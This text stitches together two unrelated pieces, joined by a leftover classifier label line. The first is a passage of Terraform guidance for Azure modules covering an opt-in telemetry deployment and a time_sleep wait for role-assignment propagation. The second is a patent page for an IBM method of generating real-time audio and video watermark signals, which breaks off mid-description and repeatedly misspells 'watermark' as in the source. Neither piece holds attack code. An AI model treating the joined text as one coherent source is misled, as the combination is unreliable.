# This is the module telemetry deployment that is only created if telemetry is enabled.
# It is deployed to the resource's resource group.
resource "azurerm_resource_group_template_deployment" "telemetry" {
count = var.enable_telemetry ? 1 : 0
name = local.telem_arm_deployment_name
resource_group_name = var.resource_group_name
deployment_mode = "Incremental"
location = var.location
template_content = local.telem_arm_template_content
}
In addition, you should use a locals.version.tf.json file to store the module version in a machine readable format:
Do not include the v prefix in the module_version value.
{
"locals": {
"module_version": "1.0.0"
}
}
Eventual Consistency
When creating modules, it is important to understand that the Azure Resource Manager (ARM) API is sometimes eventually consistent. This means that when you create a resource, it may not be available immediately. A good example of this is data plane role assignments. When you create such a role assignment, it may take some time for the role assignment to be available. We can use an optional time_sleep resource to wait for the role assignment to be available before creating resources that depend on it.
# In variables.tf...
variable "wait_for_rbac_before_foo_operations" {
type = object({
create = optional(string, "30s")
destroy = optional(string, "0s")
})
default = {}
description = <<DESCRIPTION
This variable controls the amount of time to wait before performing foo operations.
It only applies when `var.role_assignments` and `var.foo` are both set.
This is useful when you are creating role assignments on the bar resource and immediately creating foo resources in it.
The default is 30 seconds for create and 0 seconds for destroy.
DESCRIPTION
}
# In main.tf...
resource "time_sleep" "wait_for_rbac_before_foo_operations" {
count = length(var.role_assignments) > 0 && length(var.foo) > 0 ? 1 : 0
depends_on = [
azurerm_role_assignment.this
]
create_duration = var.wait_for_rbac_before_foo_operations.create
destroy_duration = var.wait_for_rbac_before_foo_operations.destroy
# This ensures that the sleep is re-created when the role assignments change.
triggers = {
role_assignments = jsonencode(var.role_assignments)
}
}
resource "azurerm_foo" "this" {
for_each = var.foo
depends_on = [
time_sleep.wait_for_rbac_before_foo_operations
]
# ...
}
|
__label__pos
| 0.726997 |
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Patents
1. Advanced Patent Search
Publication numberUS7461256 B2
Publication typeGrant
Application numberUS 10/523,351
PCT numberPCT/JP2003/009505
Publication dateDec 2, 2008
Filing dateJul 25, 2003
Priority dateJul 29, 2002
Fee statusPaid
Also published asCA2494554A1, CN1672414A, CN100463514C, EP1553775A1, EP1553775A4, US7587604, US7797542, US20060153421, US20080285794, US20100011217, WO2004012453A1
Publication number10523351, 523351, PCT/2003/9505, PCT/JP/2003/009505, PCT/JP/2003/09505, PCT/JP/3/009505, PCT/JP/3/09505, PCT/JP2003/009505, PCT/JP2003/09505, PCT/JP2003009505, PCT/JP200309505, PCT/JP3/009505, PCT/JP3/09505, PCT/JP3009505, PCT/JP309505, US 7461256 B2, US 7461256B2, US-B2-7461256, US7461256 B2, US7461256B2
InventorsRyuki Tachibana, Ryo Sugihara
Original AssigneeInternational Business Machines Corporation
Export CitationBiBTeX, EndNote, RefMan
External Links: USPTO, USPTO Assignment, Espacenet
Generating watermark signals
US 7461256 B2
Abstract
A method for generating watermark signals to be embedded as a digital watermark in real-time contents wherein the method includes: inputting the real-time contents; storing the real-time contents; generating watermark signals corresponding to predicted intensities of the real-time contents from divided real-time contents; and storing the generated watermark signals to be outputted.
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Claims(1)
1. A watermark signal generating method for generating watermark signals to be embedded as a digital watermark in real-time contents, the method comprising the steps of:
inputting the real-time contents;
storing the real-time contents;
generating, from the real-time contents, watermark signals to be outputted corresponding to predicted intensities of the real-time contents; and
storing the generated watermark signals to be outputted,
wherein the generation step includes the steps of:
predicting intensities of the watermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
generating the watermark signals to be outputted by use of outputs from the prediction step and outputs from the control step,
wherein the perceptual stimulation values represent sound or luminance, and the prediction step includes a step of generating a predicted inaudible amount or a predicted invisible amount of watermark signals corresponding to intensities of the real-time contents after the predetermined lapse of time by use of data stored in the step of storing the real-time contents,
wherein the control step includes a step of generating a value to be embedded, which is a binary based on a positive and a negative, by use of a secret key, the message and a pseudo-random number, and further comprising a step of controlling outputs from the step of storing the generated watermark signals to be outputted, by comparing the generated watermark signals with the real-time contents after a time needed to embed the generated watermark signals has passed,
wherein the input step includes a step of dividing the real-time contents, and the generation step includes a step of generating the watermark signals by use of the divided real-time contents.
Description
CROSS REFERENCE AND PRIORITY
This application filed under 35 USC 371, is cross-referenced with, and claims priority from, International Patent Application PCT/JP2003/009505 filed on Jul. 25, 2003, and published in English with Publication No. WO 2004/012453 A1 on Feb. 5, 2004, under PCT article 21(2), which in turn claims priority of Japanese Publication No. 2002-220065, filed on Jul. 29, 2002.
TECHNICAL FIELD
The present invention relates to a digital watermark for adding information concerning rights such as a copy right to contents. More specifically, the present invention relates to a wartermark(WM) signal generating apparatus which can correct trouble caused by delay from the contents being supplied in a real time manner due to calculation of the digital watermark, which can provide contents of a better quality, and which can improve capability in detecting the digital watermark; a wartermark signal generating method and a computer-executable program for executing the program; a computer-readable storage medium into which the program is stored; and a digital watermark embedding apparatus and a digital television apparatus including the digital watermark embedding apparatus.
BACKGROUND
Watermark techniques have been heretofore used for determining whether a bill and the like are authentic or counterfeit. In addition, these years, as computer technologies are being developed, there have been an increased number of cases where music, an image, an animation are supplied as digital contents on a basis of copyrights thereof. For this reason, an unauthorized copy of the contents needs to be prevented by using the aforementioned “watermark” techniques in order to determine whether the contents have been copied in an unauthorized manner. Embedding of a “watermark” in contents is performed through embedding a “watermark signal” (hereinafter referred to as a “wartermark signal”) in original contents in a digital manner as a general practice.
Various digital watermark embedding methods have been heretofore proposed. For example, in “a system and method for embedding data in a frequency domain” proposed by the same applicant, it has been considered that, when a digital watermark is intended to be embedded in contents including audio signals such as music, a psychoacoustic model is calculated in the frequency domain, thereby embedding the digital watermark. In this method, a DFT (discrete Fourier Transform) frame needs to be detected exactly when a frequency of an audio signal is detected. This increases time needed for the calculation. For this reason, this method has a disadvantage that the method is not suitable for a purpose of embedding, without causing time delay, wartermark signals in audio signals being supplied in a real time manner.
With this taken into consideration, in a patent application filed by the same applicant, entitled “a system and method for embedding a watermark without requiring frame synchronization,” a technique of embedding wartermark signals without requiring a frame to be synchronized with audio signals has been considered. The embedding technique without requiring the frame synchronization has the following advantages. First, robustness to expansion, contraction and locational shift of original signals is large. Second, the time delay is not so large. Third, the digital watermark can be detected and judged with good performance. However, with regard to the aforementioned embedding technique without requiring the frame synchronization, phases respectively of the wartermark signals and the original signals need to be synchronized. For this reason, the embedding technique without requiring the frame synchronization is not suitable for a purpose of embedding wartermark signals in contents being supplied in a real time manner, from which only the wartermark signals are delayed. Accordingly, the embedding technique without requiring the frame synchronization has had a trouble in robustness. That is, when delay is caused only in wartermark signals, capability of detecting the wartermark signals is deteriorated to a large extent.
In addition, according to Boney, et al, “Digital Watermarks for Audio Signals,” (IEEE International Conference on Multimedia Computing and System, Jun. 17-23, 1996, Hiroshima, Japan, pp. 473-480), the aforementioned trouble of deteriorated robustness due to delayed wartermark signals is corrected by providing a filter for simulating the psychoacoustic model in advance and by filtering a pseudo-random sequence in the time domain. However, a filtering coefficient has to be determined for each frame. For this reason, in common with the above mentioned method, this method is not suitable for embedding wartermark signals in audio signals being supplied in a real time manner.
Furthermore, in “Robust Audio Watermarking Using Perceptual Masking” (Signal Processing, Vol. 66, 1998, pp. 337-355), Swanson and his group have proposed a method using both a psychological audio-visual sensation model for calculating frequency masking and a psychoacoustic model for calculating temporal masking. With regard to the temporal masking, wartermark signals are embedded by prediction of an envelope calculation of audio signals and an amount of masking. However, the prediction is a prediction of an amount of masking by use of an output of the temporal masking. The method is not for embedding wartermark signals in a real time manner by directly using the original contents.
Apart from this, a technique has been proposed of embedding a digital watermark in image data such as video signals. For example, in “Robust 3D DFT Video Watermarking,” Proc. SPIE, Vol. 3657, pp. 113-124, 1999, Deguillaum and his group have proposed a method for embedding wartermark signals by adapting a DFT with a video sequence used as three-dimensional information constituted of a vertical, horizontal and temporal axes. Even in this method, delay is caused by a time width for which the DFT is performed. For this reason, this method is not suitable for embedding a digital watermark in a real time manner.
Moreover, Japanese Patent Laid-open Official Gazette No. Hei. 11-55638 has disclosed a method which defines a partial area in an image as an area to which information is added, and which embeds the information in the image by enlarging or reducing this area. This embedding method does not add a wartermark signal to the image, but processes a part of the image itself. For this reason, a difference between a pre-embedded signal and a post-embedded signal is so large that a problem with quality is brought about. In addition, in “Watermarking of Uncompressed and Compressed Video,” Signal Processing, Vol. 66, No. 3, pp. 283-301, 1998, Hartung and his group have disclosed a method which regards a video as a continuation of still images, and which adds a message which has been modulated by a pseudo-random sequence to each frame. Additionally, Hartung and his group have proposed a method in which a compressed video sequence is not decoded, and in which a DFT count is replaced depending upon a message whenever deemed necessary. However, even the method proposed by Hartung and his group does not perform a control in a predictive manner. In this point, the method is not satisfactory in embedding wartermark signals in contents in a real-time manner.
SUMMARY OF THE INVENTION
Main objectives of the aforementioned digital watermark are to protect a copy right when multimedia data are distributed through the Internet, and to protect a copy right when media such as a DVD-Video and a DVD-Audio are distributed. These digital contents have already been stored in storage media. The aforementioned techniques have been designed to perform processing of embedding wartermark signals in these stored digital contents, but have not been designed to embed wartermark signals in contents being supplied in a real-time manner.
However, as an applicable scope of digital information is being enlarged, an illicit act as described below can be conceived. That is, sounds of music being played in a classical music concert are recorded in a tape recorder which has been brought in the concert hall in an unauthorized manner. After the concert, the music is recorded in CDs, and the CDs are sold. Otherwise, the music is made public through the Internet. In addition, a movie being projected on a screen is recorded in a video camera which has been brought in the movie theater in an unauthorized manner. Later, the movie is recorded in DVDs or Video CDs, and the DVDs or Video CDs are sold. Otherwise, the movie is made public through the Internet. Furthermore, when a music event or a sport event is broadcast live through radio and television, the received broadcast program is recorded. Later, the program is recorded in storage media such as DVD Videos, and the DVD Videos are sold. Otherwise, the program is provided through the Internet. Moreover, copyrights are intended to be claimed in some cases. In other cases, recorders who have recorded sounds or videos are intended to be identified. Furthermore, places where such sounds or videos have been recorded are intended to be identified.
FIG. 22 shows an apparatus for embedding a digital watermark in contents being supplied in a real time manner by use of a conventional technique of embedding wartermark signals. A digital watermark embedding apparatus 200 shown in FIG. 22 can embed a digital watermark in music played live and a program broadcast live (hereinafter referred to as “real-time contents”), which are being supplied in a real time manner. The digital watermark embedding apparatus 200 shown in FIG. 22 is configured by including acquisition means 202 for acquiring real-time contents in a digital manner and generation means 204 for generating a digital watermark by use of the acquired real-time contents. Contents in which a digital watermark has been embedded are supplied to users through a network 206. Since the digital watermark has been embedded in the contents, copyrights of the suppliers are protected even though users record music or videos.
Here, a further detailed description will be given of the conventional digital watermark embedding apparatus shown in FIG. 22. Generation means 204 to be included in the conventional digital watermark embedding apparatus is configured by including an input buffer 208, digital watermark calculating means 210 and an output buffer 212. The input buffer 208 buffers data which have been acquired by the acquisition means 202 in a digital manner. The digital watermark calculating means 210 generates a digital watermark signal with an adequate size on a basis of a psychoacoustic model and the like by use of real-time contents which have been acquired. In addition, the output buffer 212 temporarily stores contents in which the digital watermark has been embedded until the contents in which the digital watermark has been embedded are supplied through the network 206.
For this reason, time delay of at maximum several hundreds of milliseconds are normally generated between a time when real-time contents have been acquired and a time when contents in which a digital watermark has been embedded are transmitted to the network 206. In addition, real-time contents are necessarily required to go through the generation means 204. For this reason, in a case where a digital watermark is intended to be embedded in contents and the contents are intended to be supplied, a trouble in which the contents can not be supplied may be brought about if even any one of the components constituting the digital watermark embedding apparatus 200 is out of order. Even if it does not go to as far as a situation where the contents can not be supplied, a trouble may be brought about that an abnormal sound or image is added to contents while the contents are being supplied, thereby causing a quality in the supplying of the contents to be deteriorated.
Furthermore, the conventional digital watermark embedding apparatus shown in FIG. 22 has another trouble that a digital watermark can not be embedded in contents such as a classical music concert whose sound or image is not recorded at all before the contents reach the audience. In addition, since the conventional digital watermark embedding apparatus shown in FIG. 22 includes an ADC for converting the actual play from analog signals to digital signals, yet another trouble may be brought about that noise is necessarily generated, thereby causing a quality in the real-time contents to be deteriorated.
FIG. 23 shows an alternative apparatus for correcting troubles which are caused by the conventional digital watermark embedding apparatus shown in FIG. 22. In the digital watermark embedding apparatus 214 shown in FIG. 22, an output from the acquisition means 202 for acquiring real-time contents in a digital manner is inputted into generation means 216 and delay means 218 in parallel. The generation means 216 outputs only a wartermark signal which has been calculated by the digital watermark calculating means 210. An output from the delay means 218 and an output from the output buffer 212 are inputted in embedding means 222 such as a mixer. Thereby, the wartermark signal is designed to be able to be embedded in real-time contents. The digital watermark embedding apparatus 214 shown in FIG. 23 also can not deal with contents whose sound or image is not recorded at all before the contents reach the audience as described above. Although the digital watermark embedding apparatus 214 can correct the time delay of the calculated wartermark signal from the contents, the following troubles remain to be solved. First, delay of the contents themselves is caused. Second, the supplying of the contents may be interrupted due to failure of the delay means 218.
In order to solve the aforementioned problems, also, considered is a digital watermark embedding apparatus to which the delay means shown in FIG. 23 is not provided, and which adds a generated wartermark signal and information concerning contents. However, if the delay means is not used, a time difference is caused between real-time contents and wartermark signals by a time needed to calculate the wartermark signals, although a time delay in the real-time contents themselves is not caused. As a result, further another problem is brought about. FIG. 24 shows the aforementioned problem which is newly brought about with the digital watermark embedding apparatus shown in FIG. 23.
FIG. 24 is a schematic diagram showing change in real-time contents with time and timing of embedding calculated wartermark signals, citing a case where the digital watermark embedding apparatus 214 shown in FIG. 23 is used. Supposing that real-time contents are acquired into the generation means at a time t1 as shown in FIG. 24, amplitude of the real-time contents varies with time depending on conditions in which the play or the like is performed. In the embodiment shown in FIG. 24, the amplitude continues decreasing after a time t4. On the other hand, wartermark signals are generated by calculating an inaudible amount or an invisible amount by use of a psychoacoustic model in addition to performing processes such as inputs buffering and outputs buffering. For this reason, the wartermark signals are embedded, which is delayed from a sampling frame (t2−t1) of the real-time contents which have been used for the calculation by a time (t4−t2) delayed due to the calculation of the wartermark signals.
In this case, when a method for generating the wartermark signals by use of the real-time contents is adopted, the following troubles may be brought about. The digital watermark may be unable to be detected depending on intensities of the real-time contents after the delayed time. Even if the digital watermark, does not go to as far as being unable to be detected, the digital watermark may be difficult to be detected. In the present invention, the aforementioned troubles will be referred to below as the relation of robustness to capability in detecting a digital watermark. Furthermore, when amplitudes of real-time contents are used and a method for embedding wartermark signals by adjusting the amplitudes of the wartermark signals is used, still another trouble is brought about that the wartermark signals are audible in the conventional example shown in FIG. 24. In the present invention, the aforementioned shift in amplitude between wartermark signals and real-time contents will be referred to below as a quality.
The present invention has been carried out in order to improve the robustness and quality of the aforementioned conventional techniques with a concept that factors of deteriorating the robustness and causes of deteriorating the quality are dealt with separately, thereby enabling the troubles with the conventional system to be solved. In other words, the present invention has been carried out with the following concept. The time delay between real-time contents and timing of embedding wartermark signals is inevitable. When wartermark signals are intended to be embedded, the robustness and the quality can be improved, if real-time contents are divided, change in perceptual stimulation values such as a phase, sound volume and luminance is predicted relative to time by use of the divided real-time contents, and intensities of the wartermark signals are calculated. In addition, real-time contents which are not used for the prediction process are supplied to users, which is independent of generation of the wartermark signals.
In other words, whether in music or in animation, a value of stimulation to the perception such as sound volume and luminance of real-time contents changes within a range of time needed for generating wartermark signals with relations therebetween which are predictable to some extent. The present invention has been carried out with the following concept. That is, if the past change with time in real-time contents being an object in which wartermark signals are embedded is paid attention to, and if the past change with time is used, future prediction of intensities of the real-time contents after a time which is as short as the delayed time can be performed in a satisfactory manner.
In addition, when a wartermark signal is intended to be embedded by use of a secret key, if a value to be embedded is generated by use of a certain rule from the secret key, and if signal intensity of the wartermark signal is controlled by use of the generated value to be embedded, the robustness according to the present invention can be improved with satisfactory performance. Embedding of a wartermark signal is performed depending on the sign of a value to be embedded. For example, when a value to be embedded is a negative, intensity of the wartermark signal is defined as zero. Only when a value to be embedded is a positive, the wartermark signal which is not zero is embedded. Since occurrence of time delay is a prerequisite, a phase of embedding of a wartermark signal can be added randomly without causing the phase of embedding of the wartermark signal to depend on a phase of the real-time contents. If a wartermark signal would be embedded according to the present invention, the robustness could be improved by use of information such as a secret key, a bit of a message and a pseudo-random number, independently of the generation of the delayed time.
Specifically, according to the present invention, provided is a wartermark signal generating apparatus for generating wartermark signals to be embedded as a digital watermark in real-time contents, the wartermark signal generating apparatus including:
input means for inputting the real-time contents;
an input buffer for storing the real-time contents;
generation means for generating, from the real-time contents, wartermark signals to be outputted corresponding to predicted intensities of the real-time contents; and
an output buffer for storing the generated wartermark signals to be outputted,
wherein the generation means includes:
prediction means for predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
control means for controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
means for generating the wartermark signals to be outputted by use of outputs from the prediction means and outputs from the control means.
With regard to the present invention, the perceptual stimulation values represent sound or luminance, and the prediction means can generate a predicted inaudible amount or a predicted invisible amount of wartermark signals corresponding to intensities of the real-time contents after the predetermined lapse of time by use of data stored in the input buffer. The control means according to the present invention can include means for generating a value to be embedded, which is a binary based on a positive and a negative, by use of a secret key, the message and a pseudo-random number. In addition, the wartermark signal generating apparatus according to the present invention can further include output controlling means for controlling outputs from the output buffer by comparing the generated wartermark signals with the real-time contents after a time needed to embed the generated wartermark signals has passed. The input means according to the present invention can include means for dividing, and inputting, the real-time contents, and the generation means can generate wartermark signals by use of the divided real-time contents.
According to the present invention, provided is a wartermark signal generating method for generating wartermark signals to be embedded as a digital watermark in real-time contents, the wartermark signal generating method including the steps of:
inputting the real-time contents;
storing the real-time contents;
generating, from the real-time contents, wartermark signals to be outputted, corresponding to predicted intensities of the real-time contents; and
storing the generated wartermark signals to be outputted,
wherein the generation step includes the steps of:
predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
generating-the wartermark signals to be outputted by use of outputs from the prediction step and outputs from the control step.
According to the present invention, provided is a program for causing a wartermark signal generating method to be executed, the program being a computer-executable program for causing a computer to execute the method for generating wartermark signals to be embedded as a digital watermark in real-time contents,
wherein the program causes the computer to execute the steps of:
storing the real-time contents which have been inputted;
generating, from the real-time contents, wartermark signals to be outputted corresponding to predicted intensities of the real-time contents; and
storing the generated wartermark signals to be outputted,
wherein the generation step includes the steps of:
predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
controlling embedding by use of a message to-be embedded as a digital watermark in the real-time contents; and
generating the wartermark signals to be outputted by use of outputs from the prediction step and outputs from the control step.
According to the present invention, provided is a computer-readable storage medium, in which a computer-executable program for causing a computer to execute a method for generating wartermark signals to be embedded as a digital watermark in real-time contents is stored,
wherein the program causes the computer to execute the steps of:
storing the real-time contents which have been inputted; generating, from the real-time contents, wartermark signals to be outputted corresponding to predicted intensities of the real-time contents; and
storing the generated wartermark signals to be outputted,
wherein the generation step includes the steps of:
predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
generating the wartermark signals to be outputted by use of outputs from the prediction step and outputs from the control step.
According to the present invention, provided is a digital watermark embedding apparatus for embedding a digital watermark in real-time contents, the apparatus including:
input means for inputting the real-time contents;
an input buffer for storing the real-time contents;
generation means for generating, from the real-time contents, wartermark signals to be outputted corresponding to predicted intensities of the real-time contents;
an output buffer for storing the generated wartermark signals to be outputted; and
embedding means for receiving the generated wartermark signals, and for embedding the generated wartermark signals in the real-time contents,
wherein the generation means includes:
prediction means for predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
control means for controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
means for generating the wartermark signals to be outputted, by use of outputs from the prediction means and outputs from the control means.
According to the present invention, provided is a digital television apparatus, including:
means for receiving a digital broadcast, for decoding the digital broadcast, and for generate real-time contents;
display means for displaying the generated real-time contents; and
a digital watermark embedding apparatus for embedding a digital watermark the decoded real-time contents, wherein the digital watermark embedding apparatus includes:
input means for inputting the real-time contents;
an input buffer for storing the real-time contents;
generation means for generating, from the real-time contents, wartermark signals to be outputted, corresponding to predicted intensities of the real-time contents;
an output buffer for storing the generated wartermark signals to be outputted;
embedding means for receiving the generated wartermark signals to be outputted, and for embedding the generated wartermark signals to be outputted in the real-time contents, and
wherein the generation means includes:
prediction means for predicting intensities of the wartermark signals from prediction of perceptual stimulation values of the real-time contents after a predetermined lapse of time;
control means for controlling embedding by use of a message to be embedded as a digital watermark in the real-time contents; and
means for generating the wartermark signals to be outputted, by use of outputs from the prediction means and outputs from the control means.
In the digital television apparatus according to the present invention, it is preferable that the digital watermark embedding apparatus be included in an external device of the digital television apparatus or in the digital television apparatus. It is preferable that the input means include means for dividing, and inputting, the real-time contents, and that the control means control embedding by use of the message and a secret key.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 is a diagram showing a wartermark signal generating apparatus according to the present invention.
FIG. 2 is, a flowchart of processing of generating a wartermark signal according to the present invention.
FIG. 3 is a detailed functional block diagram of prediction means according to the present invention.
FIG. 4 is a diagram showing a mode of the present invention which predicts intensity after a delayed time.
FIG. 5 is a block diagram of prediction means for predicting luminance of a video signal after a delayed time in the present invention.
FIG. 6 is a diagram showing a mode of the present invention in which a tile is divided.
FIG. 7 is a diagram showing a mode of the present invention in which luminance is predicted.
FIG. 8 is a functional block diagram of determination means for processing a video signal in the present invention.
FIG. 9 is a flowchart showing processing of generating a wartermark signal to be outputted for an audio signal in the present invention.
FIG. 10 is a diagram showing another mode of the present invention in which a wartermark signal to be outputted is generated.
FIG. 11 is a diagram showing yet another mode of the present invention in which a wartermark signal to be outputted is generated.
FIG. 12 is a flowchart showing processing of generating a wartermark signal to be outputted for an audio signal in the present invention.
FIG. 13 is a diagram showing another mode of the wartermark signal generating apparatus according to the present invention.
FIG. 14 is a flowchart showing processing in the wartermark signal generating apparatus shown in FIG. 13.
FIG. 15 is a diagram showing an embodiment of a digital watermark embedding apparatus according to the present invention.
FIG. 16 is a diagram showing another embodiment of the digital watermark embedding apparatus according to the present invention.
FIG. 17 is a diagram showing yet another embodiment of the digital watermark embedding apparatus according to the present invention.
FIG. 18 is a diagram showing still another embodiment of the digital watermark embedding apparatus according to the present invention.
FIG. 19 is a diagram showing further another embodiment of the digital watermark embedding apparatus according to the present invention.
FIG. 20 is a diagram showing yet further another embodiment of the digital watermark embedding apparatus according to the present invention.
FIG. 21 is a diagram showing an embodiment of a digital television apparatus including the digital watermark embedding apparatus according to the present invention.
FIG. 22 is a schematic block diagram of a conventional digital watermark embedding apparatus.
FIG. 23 is a schematic block diagram of another conventional digital watermark embedding apparatus.
FIG. 24 is a diagram showing relations of time delays to be caused by generating a wartermark signal.
DETAILED DESCRIPTION OF THE INVENTION
The present invention will be described below in detail citing the modes shown in the accompanying drawings. However, the present invention is not limited to the below-described modes.
FIG. 1 shows a functional block diagram of a wartermark signal generating apparatus according to the present invention. The wartermark signal generating apparatus 10 according to the present invention shown in FIG. 1 is configured by including: input means 12 for inputting real-time contents; an input buffer 14 for processing the real-time contents which have been acquired by the input means 12 in an uninterrupted manner; prediction means 16 for predicting wartermark signals after a delayed time by use of data which have been accumulated in the input buffer 14; an output buffer 18 for accumulating the wartermark signals with generated intensities before the wartermark signals are outputted; control means 20 for controlling values of the wartermark signals by generating values to be embedded; and wartermark signal generating means 22 for generating the wartermark signals to be outputted by use of the values to be embedded. The prediction means 16, the control means 20 and the wartermark signal generating means 22 constitutes generation means with a function for generating wartermark signals to be outputted which are embedded finally in the present invention.
Data such as music played live and a live program are inputted as real-time contents in the input means 12. This input means 12 functions as means for dividing the real-time contents, and digitalizes the real-time contents by use of means such as an ADC. After dividing the real-time contents, the input means 12 transfers the real-time contents to the input buffer 14. The input buffer 14 stores the received data for each of adequate process frames, and transfers the data to the prediction means 16. The input buffer 14 is configured to be able to supply the wartermark signals to the real-time contents in an uninterrupted manner, and to be able to store at least one or more frames of the real-time contents in order to supply prediction of intensities of the wartermark signals with time.
When data are audio data, the prediction means 16 predicts intensities of wartermark signals after a predetermined lapse of time by use of a psychoacoustic model. When real-time contents are image data, the prediction means 16 divides the image data into tile-shaped rectangular regions, predicts luminances of the respective tiles, and generates signals depending on the respective luminaces, thereby predicting wartermark signals. Values to be embedded which are generated by the control means 20 are generated as wartermark signals to be outputted in the wartermark signal generating means 22 by adding the predicted values of the wartermark signals, as they are, to real-time contents, or by controlling the wartermark signals so that the intensities of the wartermark signals come to be zero. The wartermark signals to be outputted are once stored in the output buffer 18. Subsequently, the wartermark signals are embedded in the real-time contents by embedding means 24 such as a mixer, a microphone and a projector.
In the present invention, when real-time contents are audio contents such as music played live, embedding of wartermark signals in the real-time contents can be performed by generating audio signals corresponding to the wartermark signals by use of a sound generation device such as an amplifier and a speaker. Furthermore, when real-time contents are a live program or a movie, embedding of wartermark signals in the real-time contents can be performed by use of a mixer and the like for video signals. In addition, wartermark signals can be embedded in both of audio signals and video signals.
Here, a detailed description will be given of a delayed time needed between a time when inputted real-time contents are acquired into the input buffer 14 and a time when the real-contents are outputted, as wartermark signals to be outputted, from the output buffer 18. For the present invention, a description will be provided citing an example of audio data. When reproduction is performed with CD sound quality, if a frequency of 44.1 kHz is used, and if one frame is constituted, for example, of 1,024 samples, it takes at least 23.2 milliseconds for the input buffer 14 to accumulate the audio data. In addition, when data of 1,024 samples are used, it takes typically approximately 3.7 milliseconds to generate wartermark signals by causing a DFT and a mask amount to be calculated by use of a psychoacoustic model to be described later. In common with the input buffer 14, a delayed time of 23.2 milliseconds, which is as much as is caused to the input buffer 14, is caused with regard to the output buffer 18, with reproduction with CD sound quality taken into consideration.
Accordingly, until wartermark signals have been embedded in real-time contents, a delayed time of at least approximately 50 milliseconds is assumed to occur. In addition, if another delay due to an ADC and the like is caused, an aggregated delayed time of approximately 100 milliseconds is assumed to occur. Consequently, with sound quality, in particular, taken into consideration, a signal intensity after approximately 100 milliseconds needs to be predicted. Furthermore, when contents are supplied with DVD sound quality, both input and output with 96 kHz are needed. This case can be also dealt with by predicting real-time data between approximately 50 milliseconds and 100 milliseconds.
The prediction means 16 according to the present invention predicts time development of real-time contents, and thereby calculating wartermark signals with adjusted intensities. The prediction of time development of real-time contents is performed by doing things such as extrapolating time behavior of the real-time contents in a frame to be used for generating wartermark signals, by use of, for example, an adequate function in the time interval of the frame. Thereby, calculated is a weight at a time wartermark signals to be outputted are embedded wartermark signals which have been obtained by use of a psychoacoustic model is multiplied by this weight. Thus, time development of the original contents is reflected on the intensities of the wartermark signals.
In the present invention, an exponential function, a linear function, a trigonometric function and the like can be used for the prediction. In addition, other functions other than these functions can be used.
Furthermore, the control means 20 according to the present invention stores a message to be embedded as a secret key and a digital watermark. The control means 20 generates values to be embedded by use of bits of the message from which the secret key and wartermark signals are generated. The generated values to be embedded is used for judging embedding of signals which have been generated by the prediction means 16. The wartermark signal generation means 22 generates wartermark signals to be outputted on a basis of the values to be embedded. The wartermark signals to be outputted are accumulated in the output buffer 18, and thereafter are transferred to embedding means 24. Real-time contents are also inputted to the embedding means 24, and thereby embedding of the generated wartermark signals to be outputted is performed. Embedded contents in which the wartermark signals have been embedded are supplied to users through an adequate media. Accordingly, if users copy the contents in an unauthorized manner and provide the contents in the form of CDs or through the Internet for a profit-making purpose, the contents are designed to prove that the copy is illicit.
FIG. 2 is a flowchart showing processing in the wartermark signal generating apparatus 10 according to the present invention. With regard to processing of generating wartermark signals according to the present invention, in step S10, real-time contents are sampled from the input means 12, and are stored in the input buffer 14. In step S12, prediction means is used to predict intensities of perceptual stimulation values after a delayed time. In step S14, control means is used to generate values S to be embedded for controlling embedding of the wartermark signals, by use of a secret key and a message. In the present invention, the values S to be embedded take on one of the two values, that is, +1 or −1. These values S to be embedded are transferred to means for generating wartermark signals to be outputted, and are used to control output of wartermark signals. Specifically, in step S16, it is determined whether or not the values S to be embedded which have been generated by the control means are larger than zero. If the values S to be embedded are larger than zero (yes), wartermark signals to be outputted are generated by use of the predicted values in step S18. If the values S to be embedded are smaller than an zero (no), wartermark signals with signal intensities of zero are generated without using the predicted values in step S20. Thereafter, the wartermark signals to be outputted in the frequency domain are converted into wartermark signals to be outputted in the time domain, and are stored, for example, in the output buffer 18. In step S22, the wartermark signals to be outputted are outputted to the embedding means, and the embedding is caused to be performed.
A description will be given below of processing to be performed in the prediction means 16 and the control means 20 and the wartermark signal generation means 22.
A. Detailed Configuration of the Prediction Means and Processing by the Same.
(A-1) Prediction of Wartermark Signals Corresponding to Audio Signals and Processing of the Same
In the prediction means 16, processing for improvement of the quality is performed by use of real-time contents which have been stored in the input buffer 14 are used. The processing of improving the quality includes (1) the generating of wartermark signals by use of a psychoacoustic model and (2) the calculating of weights of the wartermark signals by prediction of time development of the original contents. FIG. 3 is a diagram showing a detailed configuration of the prediction means 16 which can be used for generating wartermark signals corresponding to audio signals in the present invention. The prediction means 16 shown in FIG. 3 is configured by including frequency analysis means 30, energy analysis means 32, intensity-frequency prediction means 34 and inaudible amount calculating means 36.
The frequency analysis means 30 acquires data for a frame to be processed from the input buffer 14, and performs frequency analysis by use of a Fourier transform, a cosine transform, a wavelet transform and the like. A frame to be processed in the present invention can have, for example, 1,024 samples, which is as many as the number of samples per frame in the input buffer 14. The number of samples in a frame to be processed may be 512 or 2,048 depending on the processing capability.
In addition, the energy analysis means 32 calculates a sum of two squares of an amplitude Xf,ω of each frequency component ω, with a frame to be processed defined as a unit, by use of a result of a frequency analysis which has been obtained by the frequency analysis means 30, and defines the sum of two squares as energy of the frequency component ω. Here, f represents the number of a frame to be processed, and ω represents a frequency component. If energy of a frequency band b of a frame to be obtained is expressed by Ef,b, the energy Ef,b is found by the below-mentioned expression.
[ Expression 1 ] E f , b = ω Band ( b ) x f , w 2 ( 1 )
In the aforementioned expression (1), Band (b) represents a set of frequency components included in a frequency band b. In the present invention, energy of each frequency band can be calculated merely as a sum of amplitudes, instead of as the aforementioned sum of two squares. Otherwise, the energy can be found by any other methods.
